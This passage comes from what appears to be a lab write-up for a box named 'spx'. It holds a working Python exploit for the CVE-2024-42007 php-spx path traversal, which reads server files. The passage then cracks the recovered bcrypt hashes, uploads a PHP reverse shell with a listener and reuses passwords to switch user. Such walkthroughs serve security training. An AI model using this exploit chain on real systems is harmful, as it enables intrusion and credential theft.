style="color:#393A34">,</span><span class="token plain"> file_to_read</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> spx_key</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    traversal </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"%2f.."</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">18</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    encoded_path </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> urllib</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">parse</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">quote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">file_to_read</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">encoded_path</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    vuln_url </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-interpolation string" style="color:#e3116c">f"</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">target_url</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">/?SPX_KEY=</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">spx_key</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">&amp;SPX_UI_URI=</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">traversal</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">encoded_path</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">try</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        response </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">vuln_url</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> timeout</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> verify</span><span class="token operator" style="color:#393A34">=</span><span class="token boolean" style="color:#36acaa">False</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">except</span><span class="token plain"> Exception </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> e</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"[-] Error sending request: </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">e</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">None</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> response</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">status_code </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">404</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"[-] File not found (404)"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">None</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">elif</span><span class="token plain"> response</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">status_code </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">200</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">and</span><span class="token plain"> </span><span class="token builtin">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">response</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">text</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'&lt;!DOCTYPE html&gt;'</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> response</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">text </span><span class="token keyword" style="color:#00009f">or</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'&lt;html'</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> response</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">text</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">lower</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">:</span><span class="token number" style="color:#36acaa">200</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"[-] Got HTML response - incorrect SPX_KEY or file doesn't exist"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"[*] Printing response anyway:\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> response</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">text</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> response</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">text</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">else</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"[-] Unexpected status code: </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">response</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">.</span><span class="token string-interpolation interpolation">status_code</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token builtin">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">response</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">text</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"[*] Printing response anyway:\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> response</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">text</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">None</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">def</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    parser </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> argparse</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">ArgumentParser</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        description</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'CVE-2024-42007 - php-spx Path Traversal Exploit'</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    parser</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">add_argument</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'-t'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'--target'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> required</span><span class="token operator" style="color:#393A34">=</span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> metavar</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'URL'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                        </span><span class="token builtin">help</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'Target URL (e.g., http://192.168.1.100/index.php/)'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    parser</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">add_argument</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'-f'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'--file'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> default</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'/etc/passwd'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> metavar</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'PATH'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                        </span><span class="token builtin">help</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'File path to read (default: /etc/passwd)'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    parser</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">add_argument</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'-k'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'--key'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> default</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'dev'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> metavar</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'KEY'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                        </span><span class="token builtin">help</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'SPX_KEY value (default: dev)'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token builtin">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">sys</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">argv</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        parser</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">print_help</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">sys</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">stderr</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        sys</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">exit</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    args </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> parser</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">parse_args</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">not</span><span class="token plain"> validate_url</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">args</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">target</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"[-] Invalid target URL. Must start with http:// or https://"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        sys</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">exit</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"[*] Target: </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">args</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">.</span><span class="token string-interpolation interpolation">target</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"[*] File: </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">args</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">.</span><span class="token string-interpolation interpolation builtin">file</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"[*] SPX_KEY: </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">args</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">.</span><span class="token string-interpolation interpolation">key</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    result </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> exploit</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">args</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">target</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> args</span><span class="token punctuation" style="color:#393A34">.</span><span class="token builtin">file</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> args</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">key</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> result</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">result</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">else</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"\n[!] Tip: Try different SPX_KEY values or verify the file path exists"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> __name__ </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"__main__"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    requests</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">packages</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">urllib3</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">disable_warnings</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><br></div></code></pre></div></div>
<p>Run it against the target and pull Tiny File Manager's source:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">python CVE_2024_42007.py \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -t http://192.168.120.108/index.php/ \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -f /var/www/html/index.php \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -k a2a90ca2f9f0ea04d267b16fb8e63800</span><br></div></code></pre></div></div>
<p>The PoC builds a traversal through <code>SPX_UI_URI</code> and requests the chosen file. Reading <code>/var/www/html/index.php</code> recovers Tiny File Manager <code>2.5.3</code> configuration, including the authentication block:</p>
<div class="language-php codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-php codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">$auth_users = array(</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    'admin' =&gt; '$2y$10$7LaMUa8an8NrvnQsj5xZ3eDdOejgLyXE8IIvsC.hFy1dg7rPb9cqG',</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    'user'  =&gt; '$2y$10$x8PS6i0Sji2Pglyz7SLFruYFpAsz9XAYsdiPyfse6QDkB/QsdShxi'</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">);</span><br></div></code></pre></div></div>
<p>That is the credential store. No brute force against the login form is required yet. The hashes can be attacked offline.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="cracking-tiny-file-manager-credentials">Cracking Tiny File Manager credentials<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#cracking-tiny-file-manager-credentials" class="hash-link" aria-label="Direct link to Cracking Tiny File Manager credentials" title="Direct link to Cracking Tiny File Manager credentials" translate="no">​</a></h3>
<p>Save the bcrypt hashes and crack them with John and <code>rockyou</code>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">john.exe .\pass.txt --wordlist=.\rockyou.txt</span><br></div></code></pre></div></div>
<p>Result:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">profiler   (user)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lowprofile (admin)</span><br></div></code></pre></div></div>
<p>So the recovered application credentials are:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">admin:lowprofile</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">user:profiler</span><br></div></code></pre></div></div>
<p>The <code>admin</code> account is the one that matters for initial access because Tiny File Manager gives authenticated users a direct write path into the web root.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="web-shell-and-reverse-shell">Web shell and reverse shell<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#web-shell-and-reverse-shell" class="hash-link" aria-label="Direct link to Web shell and reverse shell" title="Direct link to Web shell and reverse shell" translate="no">​</a></h3>
<p>Log in to Tiny File Manager as <code>admin</code> / <code>lowprofile</code>, then upload a PHP reverse shell such as <code>r.php</code>.</p>
<p>Start a listener before triggering it:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">penelope -p 5555</span><br></div></code></pre></div></div>
<p>Browse to the uploaded shell:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">http://192.168.120.108/r.php</span><br></div></code></pre></div></div>
<p>The callback returns as the Apache user:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">uid=33(www-data) gid=33(www-data) groups=33(www-data)</span><br></div></code></pre></div></div>
<p>At this point the host is compromised for initial access. Privilege escalation is still required for root.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="lateral-movement">Lateral movement<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#lateral-movement" class="hash-link" aria-label="Direct link to Lateral movement" title="Direct link to Lateral movement" translate="no">​</a></h2>
<p>Password reuse bridges the gap from web context to a local user shell.</p>
<p>From <code>www-data</code>, switch to the Linux user that matches the box theme:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">su profiler</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Password: lowprofile</span><br></div></code></pre></div></div>
<p>The Tiny File Manager admin password works for the OS account <code>profiler</code>. That is the second major operational failure on the host: weak application secrets plus credential reuse across trust boundaries.</p>
<p>Confirm what <code>profiler</code> can run:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">sudo -l</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">User profiler may run the following commands on spx:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    (ALL) /usr/bin/make install -C /home/profiler/php-spx</span><br></div></code></pre></div></div>
<p>The sudo rule looks constrained. In reality, it is only as safe as the contents of <code>/home/profiler/php-spx</code>. Because that directory is writable by <code>profiler</code>, the "constrained" command is still attacker-controlled.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="privilege-escalation">Privilege escalation<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#privilege-escalation" class="hash-link" aria-label="Direct link to Privilege escalation" title="Direct link to Privilege escalation" translate="no">​</a></h2>
